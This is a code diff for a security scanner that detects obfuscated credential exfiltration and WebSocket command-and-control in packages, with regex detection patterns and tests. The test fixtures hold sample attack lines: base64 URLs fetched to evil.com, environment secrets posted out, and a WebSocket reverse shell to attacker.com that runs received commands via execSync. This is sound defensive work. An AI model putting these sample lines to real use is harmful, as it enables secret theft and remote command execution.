findings.filter(f => f.severity === 'critical').length, + high: findings.filter(f => f.severity === 'high').length, + medium: findings.filter(f => f.severity === 'medium').length, + low: findings.filter(f => f.severity === 'low').length + }; + + const updatedRiskScore = + updatedSummary.critical * SEVERITY_WEIGHTS.critical + + updatedSummary.high * SEVERITY_WEIGHTS.high + + updatedSummary.medium * SEVERITY_WEIGHTS.medium + + updatedSummary.low * SEVERITY_WEIGHTS.low; + + let updatedRiskLevel: AnalysisResult['riskLevel'] = 'clean'; + if (updatedRiskScore >= RISK_THRESHOLDS.critical) updatedRiskLevel = 'critical'; + else if (updatedRiskScore >= RISK_THRESHOLDS.high) updatedRiskLevel = 'high'; + else if (updatedRiskScore >= RISK_THRESHOLDS.medium) updatedRiskLevel = 'medium'; + else if (updatedRiskScore >= RISK_THRESHOLDS.low) updatedRiskLevel = 'low'; + return { resourceHash: resourceHash || `0x${contentHash.substring(0, 64)}`, contentHash: `0x${contentHash}`, findings, - riskScore, - riskLevel, - summary, + riskScore: updatedRiskScore, + riskLevel: updatedRiskLevel, + summary: updatedSummary, analyzedAt: new Date().toISOString(), - confidence + confidence, + obfuscatedExfil, + websocketC2 }; } diff --git a/scanner/src/index.ts b/scanner/src/index.ts index f7d421eb..6d0917da 100644 --- a/scanner/src/index.ts +++ b/scanner/src/index.ts @@ -3,7 +3,9 @@ */ export { analyzeContent, formatResult, type AnalysisResult, type Finding } from './analyzer.js'; -export { DANGEROUS_PATTERNS, SAFE_DOMAINS, type Pattern } from './patterns.js'; +export { DANGEROUS_PATTERNS, SAFE_DOMAINS, ALLOWLIST_PATTERNS, HTTP_CLIENT_PATTERNS, LEGITIMATE_HTTP_CONTEXT, KNOWN_SAFE_ENDPOINTS, type Pattern } from './patterns.js'; +export { detectObfuscatedExfiltration, type ObfuscatedExfilResult } from './obfuscated-exfil.js'; +export { detectWebSocketC2, type WebSocketC2Result } from './websocket-c2.js'; export { submitFlag, checkBalance, diff --git a/scanner/src/obfuscated-exfil.ts b/scanner/src/obfuscated-exfil.ts new file mode 100644 index 00000000..c34d776d --- /dev/null +++ b/scanner/src/obfuscated-exfil.ts @@ -0,0 +1,224 @@ +/** + * Obfuscated Credential Exfiltration Detector (Issue #1) + * + * Detects patterns where malicious packages use encoding tricks + * to hide credential theft from static analysis: + * - Base64-encoded exfiltration URLs + * - Hex/charcode-constructed API endpoints + * - String reversal and concatenation obfuscation + * - Environment variable harvesting with obfuscated transmission + */ + +import { DANGEROUS_PATTERNS } from './patterns.js'; +import type { Finding } from './analyzer.js'; + +export interface ObfuscatedExfilResult { + hasObfuscatedExfil: boolean; + findings: ObfuscatedExfilFinding[]; + severity: 'critical' | 'high' | 'medium' | 'low' | 'clean'; + confidence: number; + totalPatterns: number; + decodedSamples: DecodedSample[]; +} + +export interface ObfuscatedExfilFinding { + type: 'base64_url' | 'hex_endpoint' | 'charcode_url' | 'string_reversal' | 'concat_url' | 'env_harvest' | 'template_literal' | 'decode_then_send'; + line: number; + column: number; + match: string; + context: string; + severity: 'critical' | 'high' | 'medium'; + decodedValue?: string; + description: string; +} + +export interface DecodedSample { + original: string; + decoded: string; + method: 'base64' | 'hex' | 'charcode' | 'reverse' | 'concat'; + line: number; +} + +function decodeBase64Strings(content: string): DecodedSample[] { + const samples: DecodedSample[] = []; + const b64Pattern = /(?:atob|Buffer\.from)\s*\(\s*['"`]([A-Za-z0-9+/=]{8,})['"`]/g; + let match; + while ((match = b64Pattern.exec(content)) !== null) { + try { + const decoded = Buffer.from(match[1], 'base64').toString('utf-8'); + if (decoded.startsWith('http') || /password|secret|token|key|credential/i.test(decoded)) { + const beforeMatch = content.substring(0, match.index); + const line = beforeMatch.split('\n').length; + samples.push({ original: match[0], decoded, method: 'base64', line }); + } + } catch {} + } + return samples; +} + +function decodeHexStrings(content: string): DecodedSample[] { + const samples: DecodedSample[] = []; + const hexPattern = /['"`]((?:\\x[0-9a-fA-F]{2})+)['"`]/g; + let match; + while ((match = hexPattern.exec(content)) !== null) { + try { + const hexStr = match[1]; + const decoded = hexStr.replace(/\\x([0-9a-fA-F]{2})/g, (_, hex) => String.fromCharCode(parseInt(hex, 16))); + if (decoded.startsWith('http') || /password|secret|token|key|credential/i.test(decoded)) { + const beforeMatch = content.substring(0, match.index); + const line = beforeMatch.split('\n').length; + samples.push({ original: match[0], decoded, method: 'hex', line }); + } + } catch {} + } + return samples; +} + +function decodeCharcodeStrings(content: string): DecodedSample[] { + const samples: DecodedSample[] = []; + const charcodePattern = /String\.fromCharCode\s*\(([^)]+)\)/g; + let match; + while ((match = charcodePattern.exec(content)) !== null) { + try { + const args = match[1].split(',').map(s => parseInt(s.trim(), 10)).filter(n => !isNaN(n)); + if (args.length >= 8) { + const decoded = String.fromCharCode(...args); + if (decoded.startsWith('http') || /password|secret|token|key|credential/i.test(decoded)) { + const beforeMatch = content.substring(0, match.index); + const line = beforeMatch.split('\n').length; + samples.push({ original: match[0], decoded, method: 'charcode', line }); + } + } + } catch {} + } + return samples; +} + +function detectReversedStrings(content: string): DecodedSample[] { + const samples: DecodedSample[] = []; + const reversePattern = /['"`]([a-zA-Z0-9/.:_\-]{10,})['"`]\s*\.\s*split\s*\(\s*['"]['"]\s*\)\s*\.\s*reverse\s*\(\s*\)\s*\.\s*join\s*\(\s*['"]['"]\s*\)/g; + let match; + while ((match = reversePattern.exec(content)) !== null) { + try { + const decoded = match[1].split('').reverse().join(''); + if (decoded.startsWith('http') || /password|secret|token|key|credential/i.test(decoded)) { + const beforeMatch = content.substring(0, match.index); + const line = beforeMatch.split('\n').length; + samples.push({ original: match[0], decoded, method: 'reverse', line }); + } + } catch {} + } + return samples; +} + +const EXFIL_PATTERNS: { id: string; regex: RegExp; type: ObfuscatedExfilFinding['type']; severity: ObfuscatedExfilFinding['severity']; description: string }[] = [ + { + id: 'base64_url', + regex: /atob\([^)]*\)|Buffer\.from\([^)]*base64[^)]*\)/gi, + type: 'base64_url', + severity: 'critical', + description: 'Base64 decoding detected (potential exfiltration obfuscation)' + }, + { + id: 'hex_endpoint', + regex: /(?:\\x[0-9a-fA-F]{2}){8,}/gi, + type: 'hex_endpoint', + severity: 'critical', + description: 'Hex-encoded string detected (potential obfuscated endpoint)' + }, + { + id: 'charcode_url', + regex: /String\.fromCharCode\s*\([^)]+\)/gi, + type: 'charcode_url', + severity: 'critical', + description: 'CharCode string construction detected (potential obfuscation)' + }, + { + id: 'string_reversal', + regex: /\.reverse\s*\(\s*\)\s*\.\s*join\s*\(/gi, + type: 'string_reversal', + severity: 'high', + description: 'String reversal obfuscation detected' + }, + { + id: 'env_harvest', + regex: /process\.env[\s\S]{0,300}?(?:atob|btoa|base64|encodeURI|fromCharCode|0x[0-9a-fA-F]{2}|\.reverse\s*\(\))/gi, + type: 'env_harvest', + severity: 'critical', + description: 'Environment variable data with obfuscation (potential exfiltration)' + }, + { + id: 'concat_url', + regex: /['"`]https?(:|\\x3a)['"`]\s*\+\s*['"`][^'"`]{3,}['"`]/gi, + type: 'concat_url', + severity: 'high', + description: 'URL assembled from string concatenation to evade detection' + }, + { + id: 'template_literal', + regex: /`https?:\/\/\$\{[^}]+\}[^`]*`/gi, + type: 'template_literal', + severity: 'high', + description: 'Template literal used to dynamically construct URL' + }, + { + id: 'decode_then_send', + regex: /(?:atob|btoa|Buffer\.from[^)]*\)|decodeURIComponent|unescape)\s*\([^)]*\)/gi, + type: 'decode_then_send', + severity: 'critical', + description: 'Decoding function call detected (potential exfiltration preparation)' + } +]; + +export function detectObfuscatedExfiltration(content: string): ObfuscatedExfilResult { + const findings: ObfuscatedExfilFinding[] = []; + const decodedSamples: DecodedSample[] = []; + + for (const pattern of EXFIL_PATTERNS) { + const regex = new RegExp(pattern.regex.source, pattern.regex.flags); + let match; + while ((match = regex.exec(content)) !== null) { + const beforeMatch = content.substring(0, match.index); + const line = beforeMatch.split('\n').length; + const lines = content.split('\n'); + const contextLine = lines[line - 1] || ''; + const lastNewline = beforeMatch.lastIndexOf('\n'); + const column = match.index - lastNewline; + + findings.push({ + type: pattern.type, + line, + column, + match: match[0].substring(0, 150), + context: contextLine.trim().substring(0, 200), + severity: pattern.severity, + description: pattern.description + }); + } + } + + decodedSamples.push(...decodeBase64Strings(content)); + decodedSamples.push(...decodeHexStrings(content)); + decodedSamples.push(...decodeCharcodeStrings(content)); + decodedSamples.push(...detectReversedStrings(content)); + + let severity: ObfuscatedExfilResult['severity'] = 'clean'; + if (findings.some(f => f.severity === 'critical')) severity = 'critical'; + else if (findings.some(f => f.severity === 'high')) severity = 'high'; + else if (findings.some(f => f.severity === 'medium')) severity = 'medium'; + + let confidence = 0.5; + if (findings.length >= 3) confidence = 0.9; + else if (findings.length >= 2) confidence = 0.8; + else if (findings.length >= 1) confidence = 0.7; + if (decodedSamples.length > 0) confidence = Math.min(1, confidence + 0.1); + + return { + hasObfuscatedExfil: findings.length > 0, + findings, + severity, + confidence, + totalPatterns: findings.length, + decodedSamples + }; +} \ No newline at end of file diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index f2e61e23..569fc08d 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -168,6 +168,122 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ category: 'obfuscation' }, + // === OBFUSCATED EXFILTRATION: Credential theft with obfuscation (Issue #1) === + { + id: 'OBFUSC_EXFIL_B64_URL', + name: 'Base64-Encoded Exfiltration URL', + description: 'URLs encoded in base64 to hide exfiltration endpoints from static analysis', + severity: 'critical', + pattern: /(?:atob|Buffer\.from|base64.*decode|decode.*base64)\s*\([^)]*(?:https?:|ftp:|wss?:)/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_HEX_ENDPOINT', + name: 'Hex-Constructed API Endpoint', + description: 'API endpoints built from hex strings to evade detection', + severity: 'critical', + pattern: /(?:0x[0-9a-fA-F]{2}[^,;\n]*){4,}(?:String\.fromCharCode|fromCharCode|parseInt|Number\.parseInt)/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_CHARCODE_URL', + name: 'CharCode-Constructed URL', + description: 'URLs constructed from character codes to hide exfiltration targets', + severity: 'critical', + pattern: /String\.fromCharCode\s*\([^)]*(?:\.toString\s*\(\s*16\s*\)|0x[0-9a-fA-F])/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_REVERSED', + name: 'String Reversal Obfuscation', + description: 'Strings reversed at runtime to hide exfiltration URLs or credentials', + severity: 'high', + pattern: /\.(split|reverse|join)\s*\(\s*(?:['"]|''|"")\s*\)\s*\.{0,2}(?:split|reverse|join)/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_CONCAT_URL', + name: 'Concatenated URL Construction', + description: 'URLs built from concatenated fragments to evade static string matching', + severity: 'high', + pattern: /['"]https?(:|\\x3a)['"]\s*\+\s*['"]/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_ENV_SEND', + name: 'Environment Variable Harvesting with Obfuscated Transmission', + description: 'Collecting env vars and transmitting via encoded/obfuscated channels', + severity: 'critical', + pattern: /process\.env\s*\[[^\]]*\][^;]{0,200}(?:atob|btoa|base64|encodeURI|fromCharCode|0x[0-9a-fA-F])/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_TEMPLATE_LITERAL', + name: 'Template Literal URL Assembly', + description: 'Template literals used to dynamically assemble exfiltration URLs', + severity: 'high', + pattern: /`https?:\/\/\$\{[^}]+\}[^`]*(?:fetch|axios|request|http\.get|http\.post|XMLHttpRequest)/gi, + category: 'obfuscated_exfiltration' + }, + { + id: 'OBFUSC_EXFIL_DECODE_FETCH', + name: 'Decoded Payload in Network Request', + description: 'Decoding obfuscated data immediately before sending over network', + severity: 'critical', + pattern: /(?:atob|Buffer\.from[^)]+base64|decodeURIComponent|decodeURI|unescape)\([^)]*\)[^;]{0,100}(?:fetch|axios|request|http\.get|http\.post|\.send\s*\()/gi, + category: 'obfuscated_exfiltration' + }, + + // === WEBSOCKET: Malicious WebSocket handler patterns (Issue #3) === + { + id: 'WS_C2_CONNECTION', + name: 'WebSocket C2 Connection', + description: 'WebSocket connections used for command-and-control communication', + severity: 'critical', + pattern: /new\s+WebSocket\s*\(\s*['"`]wss?:\/\/[^'"`]+['"`]/gi, + category: 'websocket_c2' + }, + { + id: 'WS_MESSAGE_HANDLER_EXFIL', + name: 'WebSocket Message Handler Data Exfiltration', + description: 'WebSocket onmessage handlers that process and forward received data', + severity: 'high', + pattern: /\.onmessage\s*=\s*(?:function|\([^)]*\)\s*=>|[^=])[^;]{0,200}(?:fetch|axios|http\.request|process\.env|fs\.(?:readFile|readdir))/gi, + category: 'websocket_c2' + }, + { + id: 'WS_REVERSE_SHELL', + name: 'WebSocket Reverse Shell', + description: 'WebSocket handler executing system commands received from remote server', + severity: 'critical', + pattern: /(?:ws|WebSocket)\.on\s*\(\s*['"`]message['"`]\s*,[^;]{0,300}(?:exec|execSync|spawn|child_process|require\s*\(\s*['"`]child_process)/gi, + category: 'websocket_c2' + }, + { + id: 'WS_DYNAMIC_URL', + name: 'WebSocket Dynamic URL Connection', + description: 'WebSocket connecting to dynamically constructed URLs (potential C2)', + severity: 'high', + pattern: /new\s+WebSocket\s*\(\s*[^'"`\s]/gi, + category: 'websocket_c2' + }, + { + id: 'WS_DATA_EXFIL_CHANNEL', + name: 'WebSocket Data Exfiltration Channel', + description: 'Data collected and exfiltrated through an active WebSocket connection', + severity: 'high', + pattern: /\.(send|emit)\s*\([^)]{0,200}(?:process\.env|fs\.read|credential|password|token|secret)/gi, + category: 'websocket_c2' + }, + { + id: 'WS_BINARY_PAYLOAD', + name: 'WebSocket Binary Payload Transfer', + description: 'Binary data sent or received via WebSocket (potential data tunnel)', + severity: 'medium', + pattern: /(?:ws|WebSocket)\.(?:on|addEventListener)\s*\(\s*['"`]message['"`]\s*,[^;]{0,200}(?:ArrayBuffer|Blob|Uint8Array|Buffer\.from)/gi, + category: 'websocket_c2' + }, + // === LOW: Suspicious but context-dependent === { id: 'SUSP_CRYPTO_MINING', @@ -197,6 +313,36 @@ export const ALLOWLIST_PATTERNS = [ /Math\.(random|floor|ceil)/gi, ]; +export const HTTP_CLIENT_PATTERNS = [ + /\baxios\b/gi, + /\bfetch\s*\(/gi, + /\bnode-fetch\b/gi, + /\brequest\s*\(/gi, + /\burllib3\b/gi, + /\bgot\s*\(/gi, + /\bsuperagent\b/gi, + /\bneedle\b/gi, +]; + +export const LEGITIMATE_HTTP_CONTEXT = [ + /\b(?:jest|mocha|vitest|cypress)\b/gi, + /(?:test|spec|mock|fixture)\.(?:js|ts|jsx|tsx)$/gi, + /\b(?:should|expect|assert)\b/gi, + /(?:\/test\/|\/tests\/|\/__tests__\/|\.test\.|\.spec\.)/gi, + /(?:example|demo|sample|fixture)/gi, +]; + +export const KNOWN_SAFE_ENDPOINTS = [ + /api\.github\.com/gi, + /registry\.npmjs\.org/gi, + /pypi\.org/gi, + /api\.openai\.com/gi, + /api\.anthropic\.com/gi, + /googleapis\.com/gi, + /schemas\.microsoft\.com/gi, + /schema\.org/gi, +]; + /** * Known safe domains for network calls */ diff --git a/scanner/src/websocket-c2.ts b/scanner/src/websocket-c2.ts new file mode 100644 index 00000000..6c0123e6 --- /dev/null +++ b/scanner/src/websocket-c2.ts @@ -0,0 +1,196 @@ +/** + * WebSocket C2 Detection Module (Issue #3) + * + * Detects malicious WebSocket handler patterns in packages: + * - WebSocket connections to suspicious endpoints + * - Data exfiltration over WebSocket channels + * - Reverse shell patterns via WebSocket + * - Binary payload transfer channels + */ + +import type { Finding } from './analyzer.js'; + +export interface WebSocketC2Result { + hasWebSocketC2: boolean; + findings: WebSocketC2Finding[]; + severity: 'critical' | 'high' | 'medium' | 'low' | 'clean'; + confidence: number; + totalPatterns: number; + connections: WebSocketConnection[]; +} + +export interface WebSocketC2Finding { + type: 'c2_connection' | 'message_handler_exfil' | 'reverse_shell' | 'dynamic_url' | 'data_exfil_channel' | 'binary_payload'; + line: number; + column: number; + match: string; + context: string; + severity: 'critical' | 'high' | 'medium'; + description: string; +} + +export interface WebSocketConnection { + url: string; + line: number; + isDynamic: boolean; + isSecure: boolean; + suspiciousIndicators: string[]; +} + +function isSuspiciousUrl(url: string): { suspicious: boolean; indicators: string[] } { + const indicators: string[] = []; + + const suspiciousPatterns = [ + { pattern: /ngrok\.io/i, indicator: 'ngrok tunnel' }, + { pattern: /serveo\.net/i, indicator: 'serveo tunnel' }, + { pattern: /localtunnel\.me/i, indicator: 'localtunnel' }, + { pattern: /mqtt/i, indicator: 'MQTT protocol' }, + { pattern: /\.onion/i, indicator: 'Tor onion service' }, + { pattern: /paste\./i, indicator: 'paste service' }, + { pattern: /discord\.com\/api\/webhooks/i, indicator: 'Discord webhook' }, + { pattern: /hooks\.slack\.com/i, indicator: 'Slack webhook' }, + { pattern: /pipedream/i, indicator: 'Pipedream endpoint' }, + { pattern: /requestbin/i, indicator: 'Requestbin endpoint' }, + { pattern: /webhook\.site/i, indicator: 'webhook.site' }, + { pattern: /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i, indicator: 'raw IP address' }, + { pattern: /:(\d{4,5})\//i, indicator: 'high port number' }, + ]; + + for (const { pattern, indicator } of suspiciousPatterns) { + if (pattern.test(url)) { + indicators.push(indicator); + } + } + + return { suspicious: indicators.length > 0, indicators }; +} + +const WS_PATTERNS: { id: string; regex: RegExp; type: WebSocketC2Finding['type']; severity: WebSocketC2Finding['severity']; description: string }[] = [ + { + id: 'c2_connection', + regex: /new\s+WebSocket\s*\(\s*['"`](wss?:\/\/[^'"`]+)['"`]/gi, + type: 'c2_connection', + severity: 'critical', + description: 'WebSocket connection to hardcoded URL (potential C2)' + }, + { + id: 'message_handler_exfil', + regex: /(?:ws|WebSocket|socket)\.(?:on\s*\(\s*['"`]message['"`]|onmessage)\s*[^}]{0,500}(?:fetch|axios|http\.request|process\.env|fs\.(?:readFile|readdir))/gi, + type: 'message_handler_exfil', + severity: 'high', + description: 'WebSocket message handler accessing sensitive data or network functions' + }, + { + id: 'reverse_shell', + regex: /(?:ws|WebSocket)[^;]{0,300}(?:onmessage|on\s*\(\s*['"`]message['"`])[^}]{0,300}(?:exec|execSync|spawn|child_process|require\s*\(\s*['"`]child_process)/gi, + type: 'reverse_shell', + severity: 'critical', + description: 'WebSocket handler executing system commands (reverse shell pattern)' + }, + { + id: 'dynamic_url', + regex: /new\s+WebSocket\s*\(\s*[^'"`\s\)]/gi, + type: 'dynamic_url', + severity: 'high', + description: 'WebSocket connecting to dynamically constructed URL' + }, + { + id: 'data_exfil_channel', + regex: /(?:ws|socket|connection)\.(send|emit)\s*\([^)]{0,300}(?:process\.env|fs\.read|credential|password|token|secret|\.env)/gi, + type: 'data_exfil_channel', + severity: 'high', + description: 'Sensitive data sent over WebSocket connection' + }, + { + id: 'binary_payload', + regex: /(?:ws|WebSocket)\.(?:on|addEventListener)\s*\(\s*['"`]message['"`][^}]{0,300}(?:ArrayBuffer|Blob|Uint8Array|Buffer\.from|binaryType)/gi, + type: 'binary_payload', + severity: 'medium', + description: 'Binary data handling in WebSocket message handler' + } +]; + +export function detectWebSocketC2(content: string): WebSocketC2Result { + const findings: WebSocketC2Finding[] = []; + const connections: WebSocketConnection[] = []; + const lines = content.split('\n'); + + for (const pattern of WS_PATTERNS) { + const regex = new RegExp(pattern.regex.source, pattern.regex.flags); + let match; + while ((match = regex.exec(content)) !== null) { + const beforeMatch = content.substring(0, match.index); + const line = beforeMatch.split('\n').length; + const lastNewline = beforeMatch.lastIndexOf('\n'); + const column = match.index - lastNewline; + const contextLine = lines[line - 1] || ''; + + findings.push({ + type: pattern.type, + line, + column, + match: match[0].substring(0, 200), + context: contextLine.trim().substring(0, 200), + severity: pattern.severity, + description: pattern.description + }); + + if (pattern.type === 'c2_connection' && match[1]) { + const url = match[1]; + const { suspicious, indicators } = isSuspiciousUrl(url); + connections.push({ + url, + line, + isDynamic: false, + isSecure: url.startsWith('wss://'), + suspiciousIndicators: suspicious ? indicators : [] + }); + } + } + } + + const dynamicWsPattern = /new\s+WebSocket\s*\(\s*([^'"`\s\)]+)/gi; + let dynMatch; + while ((dynMatch = dynamicWsPattern.exec(content)) !== null) { + const beforeMatch = content.substring(0, dynMatch.index); + const line = beforeMatch.split('\n').length; + const alreadyFound = connections.some(c => c.line === line && c.isDynamic); + if (!alreadyFound) { + connections.push({ + url: dynMatch[1], + line, + isDynamic: true, + isSecure: false, + suspiciousIndicators: ['dynamically_constructed'] + }); + } + } + + let severity: WebSocketC2Result['severity'] = 'clean'; + if (findings.some(f => f.severity === 'critical')) severity = 'critical'; + else if (findings.some(f => f.severity === 'high')) severity = 'high'; + else if (findings.some(f => f.severity === 'medium')) severity = 'medium'; + + let confidence = 0.5; + if (findings.some(f => f.type === 'reverse_shell')) confidence = 0.95; + else if (findings.some(f => f.type === 'c2_connection') && connections.some(c => c.suspiciousIndicators.length > 0)) confidence = 0.9; + else if (findings.some(f => f.type === 'data_exfil_channel')) confidence = 0.85; + else if (findings.some(f => f.type === 'message_handler_exfil')) confidence = 0.75; + else if (findings.length >= 3) confidence = 0.8; + else if (findings.length >= 1) confidence = 0.7; + + const hasReverseShell = findings.some(f => f.type === 'reverse_shell'); + const hasExfil = findings.some(f => f.type === 'data_exfil_channel' || f.type === 'message_handler_exfil'); + if (connections.some(c => c.suspiciousIndicators.length > 0) && (hasReverseShell || hasExfil)) { + confidence = 0.95; + } + + return { + hasWebSocketC2: findings.length > 0, + findings, + severity, + confidence, + totalPatterns: findings.length, + connections + }; +} \ No newline at end of file diff --git a/scanner/tests/obfuscated-exfil.test.ts b/scanner/tests/obfuscated-exfil.test.ts new file mode 100644 index 00000000..aa207737 --- /dev/null +++ b/scanner/tests/obfuscated-exfil.test.ts @@ -0,0 +1,86 @@ +import { describe, it, expect } from 'vitest'; +import { detectObfuscatedExfiltration } from '../src/obfuscated-exfil.js'; + +describe('detectObfuscatedExfiltration', () => { + it('detects base64-encoded exfiltration URL', () => { + const code = `const url = atob('aHR0cHM6Ly9ldmlsLmNvbS9zdGVhbA=='); fetch(url, { method: 'POST', body: JSON.stringify(data) });`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.totalPatterns).toBeGreaterThanOrEqual(1); + expect(result.decodedSamples.length).toBeGreaterThanOrEqual(1); + expect(result.decodedSamples[0].decoded).toContain('evil'); + }); + + it('detects hex-constructed API endpoint', () => { + const code = `const host = "\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x65\\x76\\x69\\x6c\\x2e\\x63\\x6f\\x6d"; fetch(host);`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.findings.some(f => f.type === 'hex_endpoint')).toBe(true); + }); + + it('detects String.fromCharCode URL construction', () => { + const code = `const url = String.fromCharCode(104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109); fetch(url);`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.findings.some(f => f.type === 'charcode_url')).toBe(true); + expect(result.decodedSamples.some(s => s.method === 'charcode')).toBe(true); + }); + + it('detects string reversal obfuscation', () => { + const code = `const url = 'moc.laer.tpihsresworbtea'.split('').reverse().join(''); window.location = url;`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.findings.some(f => f.type === 'string_reversal')).toBe(true); + }); + + it('detects environment variable harvesting with base64', () => { + const code = `const token = process.env['AWS_SECRET_ACCESS_KEY']; const encoded = atob(token);`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.findings.some(f => f.type === 'env_harvest')).toBe(true); + }); + + it('detects concatenated URL construction', () => { + const code = `const url = 'https:' + '//evil.com/steal'; fetch(url);`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.findings.some(f => f.type === 'concat_url')).toBe(true); + }); + + it('detects template literal URL assembly', () => { + const code = 'const url = `https://' + '${subdomain}.evil.com/${path}`; fetch(url, payload);'; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + }); + + it('detects decode-then-send pattern', () => { + const code = `const data = atob(encryptedPayload); axios.post('https://api.example.com/collect', data);`; + const result = detectObfuscatedExfiltration(code); + expect(result.hasObfuscatedExfil).toBe(true); + expect(result.findings.some(f => f.type === 'decode_then_send' || f.type === 'base64_url')).toBe(true); + }); + + it('does not flag legitimate code without obfuscation patterns', () => { + const code = `const x = 42; console.log(x); function add(a, b) { return a + b; }`; + const result = detectObfuscatedExfiltration(code); + expect(result.severity).toBe('clean'); + }); + + it('decodes base64 strings and includes them in decodedSamples', () => { + const code = `const url = atob('aHR0cHM6Ly9zdGVhbGVyLmNvbS9hcGk=');`; + const result = detectObfuscatedExfiltration(code); + expect(result.decodedSamples.length).toBeGreaterThanOrEqual(1); + expect(result.decodedSamples[0].decoded).toContain('steal'); + }); + + it('assigns higher confidence for multiple pattern matches', () => { + const code = ` + const url = atob('aHR0cHM6Ly9ldmlsLmNvbQ=='); + const host = process.env.INTERNAL_HOST; + const encoded = btoa(host); + const reversed = 'moc.laer'['split']('')['reverse']()['join'](''); + `; + const result = detectObfuscatedExfiltration(code); + expect(result.confidence).toBeGreaterThanOrEqual(0.7); + }); +}); \ No newline at end of file diff --git a/scanner/tests/websocket-c2.test.ts b/scanner/tests/websocket-c2.test.ts new file mode 100644 index 00000000..90e16ccf --- /dev/null +++ b/scanner/tests/websocket-c2.test.ts @@ -0,0 +1,104 @@ +import { describe, it, expect } from 'vitest'; +import { detectWebSocketC2 } from '../src/websocket-c2.js'; + +describe('detectWebSocketC2', () => { + it('detects hardcoded WebSocket C2 connection', () => { + const code = `const ws = new WebSocket('wss://c2.evil.com/control');`; + const result = detectWebSocketC2(code); + expect(result.hasWebSocketC2).toBe(true); + expect(result.findings.some(f => f.type === 'c2_connection')).toBe(true); + expect(result.connections.length).toBe(1); + expect(result.connections[0].url).toBe('wss://c2.evil.com/control'); + }); + + it('detects WebSocket message handler with data exfiltration', () => { + const code = ` + ws.onmessage = function(event) { + const data = process.env.SECRET_KEY; + fetch('https://evil.com/exfil', { method: 'POST', body: data }); + }; + `; + const result = detectWebSocketC2(code); + expect(result.hasWebSocketC2).toBe(true); + }); + + it('detects WebSocket reverse shell pattern', () => { + const code = ` + const ws = new WebSocket('wss://attacker.com/shell'); + ws.on('message', function(data) { + const { execSync } = require('child_process'); + execSync(data.toString()); + }); + `; + const result = detectWebSocketC2(code); + expect(result.hasWebSocketC2).toBe(true); + expect(result.findings.some(f => f.type === 'reverse_shell')).toBe(true); + }); + + it('detects dynamic URL WebSocket connection', () => { + const code = `const ws = new WebSocket(serverUrl);`; + const result = detectWebSocketC2(code); + expect(result.hasWebSocketC2).toBe(true); + expect(result.findings.some(f => f.type === 'dynamic_url')).toBe(true); + expect(result.connections.some(c => c.isDynamic)).toBe(true); + }); + + it('detects WebSocket data exfiltration channel', () => { + const code = ` + const token = process.env.API_TOKEN; + ws.send(JSON.stringify({ token })); + `; + const result = detectWebSocketC2(code); + expect(result.hasWebSocketC2).toBe(true); + expect(result.findings.some(f => f.type === 'data_exfil_channel')).toBe(true); + }); + + it('flags suspicious WebSocket URLs', () => { + const code = `const ws = new WebSocket('wss://abc123.ngrok.io/tunnel');`; + const result = detectWebSocketC2(code); + expect(result.connections.length).toBe(1); + expect(result.connections[0].suspiciousIndicators).toContain('ngrok tunnel'); + }); + + it('detects binary payload handling in WebSocket', () => { + const code = ` + ws.addEventListener('message', function(event) { + const buffer = new Uint8Array(event.data); + processBinary(buffer); + }); + `; + const result = detectWebSocketC2(code); + expect(result.hasWebSocketC2).toBe(true); + expect(result.findings.some(f => f.type === 'binary_payload')).toBe(true); + }); + + it('identifies reverse shell with high confidence', () => { + const code = ` + const ws = new WebSocket('wss://evil.ngrok.io/shell'); + ws.on('message', function(cmd) { require('child_process').execSync(cmd); }); + `; + const result = detectWebSocketC2(code); + expect(result.confidence).toBeGreaterThanOrEqual(0.9); + expect(result.severity).toBe('critical'); + }); + + it('assigns lower severity for clean WebSocket without exfiltration', () => { + const code = ` + const socket = new WebSocket('wss://api.example.com/ws'); + socket.onopen = function() { console.log('connected'); }; + socket.onclose = function() { console.log('disconnected'); }; + `; + const result = detectWebSocketC2(code); + expect(result.findings.every(f => f.severity !== 'critical' || f.type === 'c2_connection')).toBe(true); + expect(result.connections.some(c => !c.isDynamic)).toBe(true); + }); + + it('detects Discord webhook WebSocket exfiltration', () => { + const code = ` + const ws = new WebSocket('wss://discord.com/api/webhooks/12345/abcdef'); + ws.send(JSON.stringify({ content: process.env.AWS_SECRET_KEY })); + `; + const result = detectWebSocketC2(code); + expect(result.connections.some(c => c.suspiciousIndicators.includes('Discord webhook'))).toBe(true); + }); +}); \ No newline at end of file